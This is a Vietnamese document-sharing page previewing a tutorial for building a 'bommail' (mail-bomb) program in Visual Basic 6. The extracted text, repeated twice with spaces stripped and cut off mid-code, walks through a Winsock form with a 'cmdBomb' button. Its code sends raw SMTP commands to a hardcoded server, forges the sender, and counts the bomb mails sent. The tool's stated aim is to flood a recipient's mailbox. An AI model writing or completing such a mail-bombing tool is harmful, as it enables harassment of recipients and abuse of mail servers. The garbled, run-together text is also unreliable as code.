Làm chương trình bommail bằng VB
Số trang: 9
Loại file: doc
Dung lượng: 34.50 KB
Lượt xem: 19
Lượt tải: 0
Xem trước 2 trang đầu tiên của tài liệu này:
Thông tin tài liệu:
Vào trên thanh Menu Project Componentsđánh dấu chọn vào mục Microsoft WinsockControl 6.0, sao đó nhấn OK thoát ra và kéo nó vào trong frmMain (nó sẽ có tên mặt định làWinsock1, cứ để nó thế nếu bạn muốn đổi tên cho khác một tý thì phần source dưới đây bạn phảiđổi tên các sub Event cho nó nha.)
Nội dung trích xuất từ tài liệu:
Làm chương trình bommail bằng VBLàmchươngtrìnhbommailbằngVBtrangnàyđãđượcđọc lầnPhầnchuẩnbịđầutiêncủachươngtrìnhlà:1.TấtnhiênlàphảimởMicrosoftVisualBasic(tôisửdụngphiênbản6.0)2.TạomộtFormmới(tôiđặttênFormnàylàfrmMain)3.VàotrênthanhMenu>Project>Components>đánhdấuchọnvàomụcMicrosoftWinsockControl6.0,saođónhấnOKthoátravàkéonóvàotrongfrmMain(nósẽcótênmặtđịnhlàWinsock1,cứđểnóthếnếubạnmuốnđổitênchokhácmộttýthìphầnsourcedướiđâybạnphảiđổitêncácsubEventchonónha.)4.Tạomộtnútlệnh(command)vàđặttênnólàcmdBomb.5.TạomộtlabelcótênlàlblStatusthôngbáotrạngtháicủatiếntrình6.nhấnphảingayfrmMainvàophầnViewCodevàbắtđầunhá.Vàđâylàđoạncodecủachươngtrìnhtôisẽcốgắnchúthíchtrướcmỗiđoạncodechocácbạndễnắm.KhaibaobienBienkiemsoatcaulenhgoidiDimstrCaulenhAsStringBiendenhanthongtintuservergoiveDimstrDataAsStringBiendekiemsoatsoluongmaildagoidiDimintbombAsIntegerTaoFunctioncaulenhconnectvaosmtpservervatravechohammotchuoikytudaidiendede bekiemsoat.FunctionclConnect(sckSendAsWinsock,MailServerNameAsString)AsStringKiemtratinhtrangcuasockketneunootrangthaidongthitienhanhketnoiIfsckSend.State=sckClosedThenThietlapProtocolsckSend.Protocol=sckTCPProtocolKhaibaoSMTPserversechovaohamsckSend.RemoteHost=MailServerNameKhaibaoCongketnoithuonglacong25sckSend.RemotePort=25GoicaulenhketnoisckSend.ConnectTravechohamchuoiConnecttophannayratquantrongvidungdekiemtracungvoigiatri doservertravexemketnoidaOKhaychua..bansehieuromucdichcuaphannay.Daychinh lasukhacbietmatoidanghiencuuvasosanhvoicacsourcebombmailtuongtuvatoinhan thaynorathieuquavadongianhonbatcugiaithuatnaokhac.Moihamsaudaydeutravemot chuoithongbaotuongtuclConnect=ConnecttoEndIfEndFunctionTaoFunctiongoicaulenhhelotoiserverbannenluuylamoicuoicaulenhdeucokytudai dienchophimEnter.FunctionclHelo(sckSendAsWinsock,txthelloAsString)AsStringsckSend.SendData(helo+txthello+vbCrLf)clHelo=HeloEndFunctionTaoFunctiongoicaulenhmailfrom:cothembiendiachimailnguoigoiFunctionclMailfrom(sckSendAsWinsock,txtmailfromAsString)AsStringsckSend.SendData(mailfrom:+txtmailfrom+vbCrLf)clMailfrom=MailFromEndFunctionTaoFunctiongoicaulenhrcptto:cothembiendiachimailnguoinhanFunctionclRcptto(sckSendAsWinsock,txtmailtoAsString)AsStringsckSend.SendData(rcptto:+txtmailto+vbCrLf)clRcptto=RcptToEndFunctionTaoFunctiongoicaulenhdatacaulenhbatdaumotnoidungcuabucthuFunctionclData(sckSendAsWinsock)AsStringsckSend.SendData(data+vbCrLf)clData=DataEndFunctionTaofunctiongoinoidungbucthuvacoketthucladauenter+dau.+enterFunctionclBody(sckSendAsWinsock,strFromNameAsString,strToNameAsString,strSubject AsString,strBodyAsString)AsStringkhaibaocacbientamtheothutuDimFourthAsString,FifthAsString,SixthAsStringDimSeventhAsString,EighthAsStringaigoi??Fourth=From:+Chr(32)+strFromName+vbCrLfAinhan??Fifth=To:+Chr(32)+strToName+vbCrLfChudebucthuSixth=Subject:+Chr(32)+strSubject+vbCrLfnoidungbucthuSeventh=strBody+vbCrLfphandautiencuabucthuduocgoitruocEighth=Fourth+Fifth+SixthgoidiphandausckSend.SendData(Eighth+vbCrLf)goitiepnoidungsckSend.SendData(Seventh+vbCrLf)ketthucnoidungvagoithudisckSend.SendData(.+vbCrLf)clBody=BodyEndFunctionTaohamthoatkhoiserverFunctionclQuit(sckSendAsWinsock)AsStringsckSend.SendData(quit+vbCrLf)clQuit=QuitEndFunctionvadaylasukienkhinutlenhcmdBombduocclickPrivateSubcmdbomb_Click()lblStatus.Caption=hienthoichuacomailnaoduocgoiintbomb=0BayloiOnErrorGoTothongbaoloinoivaoSMTPservercoIPodaytoichonla203.162.0.27CacbancungcothethaydoilahostnamehayIPaddressdeuduocca.hoaccothexemchu thich1taicuoibai.strCaulenh=clConnect(Winsock1,203.162.0.27)ExitSubthongbaoloi:lblStatus.Caption=KiemtraketnoicuabanEndSubDaylaphanquantrongnhatcuachuongtrinh,cacbannennamrosaunaycothedungthuat toannaydephattrienkhongchilagoithuquaSMTPservermaconnhanthutuPop3...NhunggiservertrathongbaovesenamodayPrivateSubWinsock1_DataArrival(ByValbytesTotalAsLong)laydulieutuservertraveWinsock1.GetDatastrDatabaoranhanlblStatus.Caption=strDataneu3kytudaucuachuoimaservertravesaukhinhanduoccaulenhconnectcogiatrila220tuclaserverdachapnhanketnoithithuchientiepcaulenhheloIf(strCaulenh=ConnecttoAndLeft(strData,3)=220)ThenxoagiatrichobienstrCaulenh=strData=strCaulenh=clHelo(Winsock1,hotmail.com)EndIfTuongtunhutrenneumoiviecdienratotdepthigoitiepcaulenhmailfrom:mailnguoigoico thexemthemchuthich2cuoibai.If(strCaulenh=HeloAndLeft(strData,3)=250)ThenstrCaulenh=strData=strCaulenh=clMailfrom(Winsock1,mailnguoigoi)EndIfLanluocgoitiepcaccaulenhtieptheovoidieukienchuoikytucuaservertravehoantoanhop leIf(strCaulenh=MailFromAndLeft(strData,3)=250)ThenstrCaulenh=strData=strCaulenh=clRcptto(Winsock1,mailnguoinhan)xemchuthichvuoibaiEndIfIf(strCaulenh=RcptToA ...
Nội dung trích xuất từ tài liệu:
Làm chương trình bommail bằng VBLàmchươngtrìnhbommailbằngVBtrangnàyđãđượcđọc lầnPhầnchuẩnbịđầutiêncủachươngtrìnhlà:1.TấtnhiênlàphảimởMicrosoftVisualBasic(tôisửdụngphiênbản6.0)2.TạomộtFormmới(tôiđặttênFormnàylàfrmMain)3.VàotrênthanhMenu>Project>Components>đánhdấuchọnvàomụcMicrosoftWinsockControl6.0,saođónhấnOKthoátravàkéonóvàotrongfrmMain(nósẽcótênmặtđịnhlàWinsock1,cứđểnóthếnếubạnmuốnđổitênchokhácmộttýthìphầnsourcedướiđâybạnphảiđổitêncácsubEventchonónha.)4.Tạomộtnútlệnh(command)vàđặttênnólàcmdBomb.5.TạomộtlabelcótênlàlblStatusthôngbáotrạngtháicủatiếntrình6.nhấnphảingayfrmMainvàophầnViewCodevàbắtđầunhá.Vàđâylàđoạncodecủachươngtrìnhtôisẽcốgắnchúthíchtrướcmỗiđoạncodechocácbạndễnắm.KhaibaobienBienkiemsoatcaulenhgoidiDimstrCaulenhAsStringBiendenhanthongtintuservergoiveDimstrDataAsStringBiendekiemsoatsoluongmaildagoidiDimintbombAsIntegerTaoFunctioncaulenhconnectvaosmtpservervatravechohammotchuoikytudaidiendede bekiemsoat.FunctionclConnect(sckSendAsWinsock,MailServerNameAsString)AsStringKiemtratinhtrangcuasockketneunootrangthaidongthitienhanhketnoiIfsckSend.State=sckClosedThenThietlapProtocolsckSend.Protocol=sckTCPProtocolKhaibaoSMTPserversechovaohamsckSend.RemoteHost=MailServerNameKhaibaoCongketnoithuonglacong25sckSend.RemotePort=25GoicaulenhketnoisckSend.ConnectTravechohamchuoiConnecttophannayratquantrongvidungdekiemtracungvoigiatri doservertravexemketnoidaOKhaychua..bansehieuromucdichcuaphannay.Daychinh lasukhacbietmatoidanghiencuuvasosanhvoicacsourcebombmailtuongtuvatoinhan thaynorathieuquavadongianhonbatcugiaithuatnaokhac.Moihamsaudaydeutravemot chuoithongbaotuongtuclConnect=ConnecttoEndIfEndFunctionTaoFunctiongoicaulenhhelotoiserverbannenluuylamoicuoicaulenhdeucokytudai dienchophimEnter.FunctionclHelo(sckSendAsWinsock,txthelloAsString)AsStringsckSend.SendData(helo+txthello+vbCrLf)clHelo=HeloEndFunctionTaoFunctiongoicaulenhmailfrom:cothembiendiachimailnguoigoiFunctionclMailfrom(sckSendAsWinsock,txtmailfromAsString)AsStringsckSend.SendData(mailfrom:+txtmailfrom+vbCrLf)clMailfrom=MailFromEndFunctionTaoFunctiongoicaulenhrcptto:cothembiendiachimailnguoinhanFunctionclRcptto(sckSendAsWinsock,txtmailtoAsString)AsStringsckSend.SendData(rcptto:+txtmailto+vbCrLf)clRcptto=RcptToEndFunctionTaoFunctiongoicaulenhdatacaulenhbatdaumotnoidungcuabucthuFunctionclData(sckSendAsWinsock)AsStringsckSend.SendData(data+vbCrLf)clData=DataEndFunctionTaofunctiongoinoidungbucthuvacoketthucladauenter+dau.+enterFunctionclBody(sckSendAsWinsock,strFromNameAsString,strToNameAsString,strSubject AsString,strBodyAsString)AsStringkhaibaocacbientamtheothutuDimFourthAsString,FifthAsString,SixthAsStringDimSeventhAsString,EighthAsStringaigoi??Fourth=From:+Chr(32)+strFromName+vbCrLfAinhan??Fifth=To:+Chr(32)+strToName+vbCrLfChudebucthuSixth=Subject:+Chr(32)+strSubject+vbCrLfnoidungbucthuSeventh=strBody+vbCrLfphandautiencuabucthuduocgoitruocEighth=Fourth+Fifth+SixthgoidiphandausckSend.SendData(Eighth+vbCrLf)goitiepnoidungsckSend.SendData(Seventh+vbCrLf)ketthucnoidungvagoithudisckSend.SendData(.+vbCrLf)clBody=BodyEndFunctionTaohamthoatkhoiserverFunctionclQuit(sckSendAsWinsock)AsStringsckSend.SendData(quit+vbCrLf)clQuit=QuitEndFunctionvadaylasukienkhinutlenhcmdBombduocclickPrivateSubcmdbomb_Click()lblStatus.Caption=hienthoichuacomailnaoduocgoiintbomb=0BayloiOnErrorGoTothongbaoloinoivaoSMTPservercoIPodaytoichonla203.162.0.27CacbancungcothethaydoilahostnamehayIPaddressdeuduocca.hoaccothexemchu thich1taicuoibai.strCaulenh=clConnect(Winsock1,203.162.0.27)ExitSubthongbaoloi:lblStatus.Caption=KiemtraketnoicuabanEndSubDaylaphanquantrongnhatcuachuongtrinh,cacbannennamrosaunaycothedungthuat toannaydephattrienkhongchilagoithuquaSMTPservermaconnhanthutuPop3...NhunggiservertrathongbaovesenamodayPrivateSubWinsock1_DataArrival(ByValbytesTotalAsLong)laydulieutuservertraveWinsock1.GetDatastrDatabaoranhanlblStatus.Caption=strDataneu3kytudaucuachuoimaservertravesaukhinhanduoccaulenhconnectcogiatrila220tuclaserverdachapnhanketnoithithuchientiepcaulenhheloIf(strCaulenh=ConnecttoAndLeft(strData,3)=220)ThenxoagiatrichobienstrCaulenh=strData=strCaulenh=clHelo(Winsock1,hotmail.com)EndIfTuongtunhutrenneumoiviecdienratotdepthigoitiepcaulenhmailfrom:mailnguoigoico thexemthemchuthich2cuoibai.If(strCaulenh=HeloAndLeft(strData,3)=250)ThenstrCaulenh=strData=strCaulenh=clMailfrom(Winsock1,mailnguoigoi)EndIfLanluocgoitiepcaccaulenhtieptheovoidieukienchuoikytucuaservertravehoantoanhop leIf(strCaulenh=MailFromAndLeft(strData,3)=250)ThenstrCaulenh=strData=strCaulenh=clRcptto(Winsock1,mailnguoinhan)xemchuthichvuoibaiEndIfIf(strCaulenh=RcptToA ...
Tìm kiếm theo từ khóa liên quan:
mẹo cài đặt thủ thuật máy tính an ninh mạng bảo mật mạng chương trình bommailGợi ý tài liệu liên quan:
-
78 trang 331 1 0
-
Top 10 mẹo 'đơn giản nhưng hữu ích' trong nhiếp ảnh
11 trang 315 0 0 -
Làm việc với Read Only Domain Controllers
20 trang 305 0 0 -
74 trang 251 4 0
-
Kỹ thuật và ứng dụng của khai thác văn bản
3 trang 214 0 0 -
Sửa lỗi các chức năng quan trọng của Win với ReEnable 2.0 Portable Edition
5 trang 213 0 0 -
Giáo trình Bảo trì hệ thống và cài đặt phần mềm
68 trang 207 0 0 -
Tìm hiểu về chính sách an ninh mạng trong quan hệ quốc tế hiện nay và đối sách của Việt Nam: Phần 1
141 trang 204 0 0 -
UltraISO chương trình ghi đĩa, tạo ổ đĩa ảo nhỏ gọn
10 trang 203 0 0 -
Phần III: Xử lý sự cố Màn hình xanh
3 trang 203 0 0